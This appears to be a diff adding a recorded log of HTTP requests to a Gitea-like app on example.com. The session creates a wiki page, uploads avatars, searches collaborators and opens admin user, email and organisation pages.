+{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Getting+started&content=Clone+the+repository+and+run+the+build.&message="}
+{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/?action=_pages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/user/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR5Mv0yttLbvaY13B", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryR5Mv0yttLbvaY13B\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
+{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DYour%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykD1bO7T1SED3rJ5v", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarykD1bO7T1SED3rJ5v\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAAQJ0lEQVR4nBXXrbpFUBSG0V0URVEURVEURVEURVEURVEURXmLoiiKoiiKoiiKoiiKoiiKoriJ47iC8Vjz55u/3w/hh/hD+iH/UH6oP7Qf+g/jh/nD+mH/cH64P7wf/o/gR/gj+hH/SH6kP7If/Mh/FD/KH9WP+kfzo/3R/eh/DD/GH9OP+cfyY/2x/dh/HD/OH9eP+8fz4/3x+wkIAqKAJCALKAKqgCagCxgCpoAlYAs4Aq6AJ+ALBAKhQCQQCyQCqUAmgEAuUAiUApVALdAItAKdQC8wCIwCk8AssAisApvALnAInAKXwC3wCLzCBxIRREQRSUQWUURUEU1EFzFETBFLxBZxRFwRT8QXCURCkUgkFklEUpFMBJFcpBApRSqRWqQRaUU6kV5kEBlFJpFZZBFZRTaRXeQQOUUukVvkEXnFDyQhSIgSkoQsoUioEpqELmFImBKWhC3hSLgSnoQvEUiEEpFELJFIpBKZBBK5RCFRSlQStUQj0Up0Er3EIDFKTBKzxCKxSmwSu8QhcUpcErfEI/FKH0hGkBFlJBlZRpFRZTQZXcaQMWUsGVvGkXFlPBlfJpAJZSKZWCaRSWUyGWRymUKmlKlkaplGppXpZHqZQWaUmWRmmUVmldlkdplD5pS5ZG6ZR+aVP5CCoCAqSAqygqKgKmgKuoKhYCpYCraCo+AqeAq+QqAQKkQKsUKikCpkCijkCoVCqVAp1AqNQqvQKfQKg8KoMCnMCovCqrAp7AqHwqlwKdwKj8KrfCAVQUVUkVRkFUVFVdFUdBVDxVSxVGwVR8VV8VR8lUAlVIlUYpVEJVXJVFDJVQqVUqVSqVUalValU+lVBpVRZVKZVRaVVWVT2VUOlVPlUrlVHpVX/UAagoaoIWnIGoqGqqFp6BqGhqlhadgajoar4Wn4GoFGqBFpxBqJRqqRaaCRaxQapUalUWs0Gq1Gp9FrDBqjxqQxaywaq8amsWscGqfGpXFrPBqv9oF0BB1RR9KRdRQdVUfT0XUMHVPH0rF1HB1Xx9PxdQKdUCfSiXUSnVQn00En1yl0Sp1Kp9ZpdFqdTqfXGXRGnUln1ll0Vp1NZ9c5dE6dS+fWeXRe/QMZCAaigWQgGygGqoFmoBsYBqaBZWAbOAaugWfgGwQGoUFkEBskBqlBZoBBblAYlAaVQW3QGLQGnUFvMBiMBpPBbLAYrAabwW5wGJwGl8Ft8Bi8xgcyEUxEE8lENlFMVBPNRDcxTEwTy8Q2cUxcE8/ENwlMQpPIJDZJTFKTzAST3KQwKU0qk9qkMWlNOpPeZDAZTSaT2WQxWU02k93kMDlNLpPb5DF5zQ9kIViIFpKFbKFYqBaahW5hWJgWloVt4Vi4Fp6FbxFYhBaRRWyRWKQWmQUWuUVhUVpUFrVFY9FadBa9xWAxWkwWs8VisVpsFrvFYXFaXBa3xWPxWh/IRrARbSQb2UaxUW00G93GsDFtLBvbxrFxbTwb3yawCW0im9gmsUltMhtscpvCprSpbGqbxqa16Wx6m8FmtJlsZpvFZrXZbHabw+a0uWxum8fmtT+Qg+AgOkgOsoPioDpoDrqD4WA6WA62g+PgOngOvkPgEDpEDrFD4pA6ZA445A6FQ+lQOdQOjUPr0Dn0DoPD6DA5zA6Lw+qwOewOh8PpcDncDo/D63wgF8FFdJFcZBfFRXXRXHQXw8V0sVxsF8fFdfFcfJfAJXSJXGKXxCV1yVxwyV0Kl9KlcqldGpfWpXPpXQaX0WVymV0Wl9Vlc9ldDpfT5XK5XR6X1/1AHoKH6CF5yB6Kh+qheegehofpYXnYHo6H6+F5+B6BR+gRecQeiUfqkXngkXsUHqVH5VF7NB6tR+fRewweo8fkMXssHqvH5rF7HB6nx+Vxezwer/eBfAQf0UfykX0UH9VH89F9DB/Tx/KxfRwf18fz8X0Cn9An8ol9Ep/UJ/PBJ/cpfEqfyqf2aXxan86n9xl8Rp/JZ/ZZfFafzWf3OXxOn8vn9nl8Xv8DBQgBYoAUIAcoAWqAFqAHGAFmgBVgBzgBboAX4AcEAWFAFBAHJAFpQBZAQB5QBJQBVUAd0AS0AV1AHzAEjAFTwBywBKwBW8AecAScAVfAHfAEvMEHChFCxBApRA5RQtQQLUQPMULMECvEDnFC3BAvxA8JQsKQKCQOSULSkCyEkDykCClDqpA6pAlpQ7qQPmQIGUOmkDlkCVlDtpA95Ag5Q66QO+QJecMPFCFEiBFShByhRKgRWoQeYUSYEVaEHeFEuBFehB8RRIQRUUQckUSkEVkEEXlEEVFGVBF1RBPRRnQRfcQQMUZMEXPEErFGbBF7xBFxRlwRd8QT8UYfKEaIEWOkGDlGiVFjtBg9xogxY6wYO8aJcWO8GD8miAljopg4JolJY7IYYvKYIqaMqWLqmCamjeli+pghZoyZYuaYJWaN2WL2mCPmjLli7pgn5o0/UIKQICZICXKCkqAmaAl6gpFgJlgJdoKT4CZ4CX5CkBAmRAlxQpKQJmQJJOQJRUKZUCXUCU1Cm9Al9AlDwpgwJcwJS8KasCXsCUfCmXAl3AlPwpt8oBQhRUyRUuQUJUVN0VL0FCPFTLFS7BQnxU3xUvyUICVMiVLilCQlTclSSMlTipQypUqpU5qUNqVL6VOGlDFlSplTlpQ1ZUvZU46UM+VKuVOelDf9QBlChpghZcgZSoaaoWXoGUaGmWFl2BlOhpvhZfgZQUaYEWXEGUlGmpFlkJFnFBllRpVRZzQZbUaX0WcMGWPGlDFnLBlrxpaxZxwZZ8aVcWc8GW/2gf4PmO9k+EL6F4u/IPpFvy9sffHmCxTfCv+W5remvsXwjeJv+H3j5mvwr6W+Iv7K5nuo79d8mP8vhwJKqKCGBlrooIcBRphghgVW2GCHA0644IYH3u+8++UIOWKOlCPnKDlqjpaj5xg5Zo6VY+c4OW6Ol+PnBDlhTpQT5yQ5aU6W/3PynCKnzKly6pwmp83pcvqcIWfMmXLmnCVnzdly9pwj58y5cu6cJ+fNP1CBUCAWSAVygVKgFmgFeoFRYBZYBXaBU+AWeAV+QVAQFkQFcUFSkBZkxf/PyQuKgrKgKqgLmoK2oCvoC4aCsWAqmAuWgrVgK9gLjoKz4Cq4C56Ct/hAJUKJWCKVyCVKiVqileglRolZYpXYJU6JW+KV+CVBSVgSlcQlSUlakpX/T5WXFCVlSVVSlzQlbUlX0pcMJWPJVDKXLCVryVaylxwlZ8lVcpc8JW/5gSqECrFCqpArlAq1QqvQK4wKs8KqsCucCrfCq/ArgoqwIqqIK5KKtCKr/gsnrygqyoqqoq5oKtqKrqKvGCrGiqlirlgq1oqtYq84Ks6Kq+KueCre6gPVCDVijVQj1yg1ao1Wo9cYNWaNVWPXODVujVfj1wQ1YU1UE9ckNWlNVv+XcV5T1JQ1VU1d09S0NV1NXzPUjDVTzVyz1Kw1W81ec9ScNVfNXfPUvPUHahAaxAapQW5QGtQGrUFvMBrMBqvBbnAa3AavwW8IGsKGqCFuSBrShqz5b6q8oWgoG6qGuqFpaBu6hr5haBgbpoa5YWlYG7aGveFoOBuuhrvhaXibD9QitIgtUovcorSoLVqL3mK0mC1Wi93itLgtXovfErSELVFL3JK0pC1Z+9/ieUvRUrZULXVL09K2dC19y9Aytkwtc8vSsrZsLXvL0XK2XC13y9Pyth+oQ+gQO6QOuUPpUDu0Dr3D6DA7rA67w+lwO7wOvyPoCDuijrgj6Ug7su5/4OQdRUfZUXXUHU1H29F19B1Dx9gxdcwdS8fasXXsHUfH2XF13B1Px9t9oB6hR+yReuQepUft0Xr0HqPH7LF67B6nx+3xevyeoCfsiXrinqQn7cn6//GX9xQ9ZU/VU/c0PW1P19P3DD1jz9Qz9yw9a8/Ws/ccPWfP1XP3PD1v/4EGhAFxQBqQB5QBdUAb0AeMAXPAGrAHnAF3wBvwB4KBcCAaiAeSgXQgG/6HcT5QDJQD1UA90Ay0A91APzAMjAPTwDywDKwD28A+cAycA9fAPfAMvMMHGhFGxBFpRB5RRtQRbUQfMUbLine truncated
+{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Brepository%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/settings/collaboration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/users?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/emails", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/emails?q=example.com", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/orgs", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
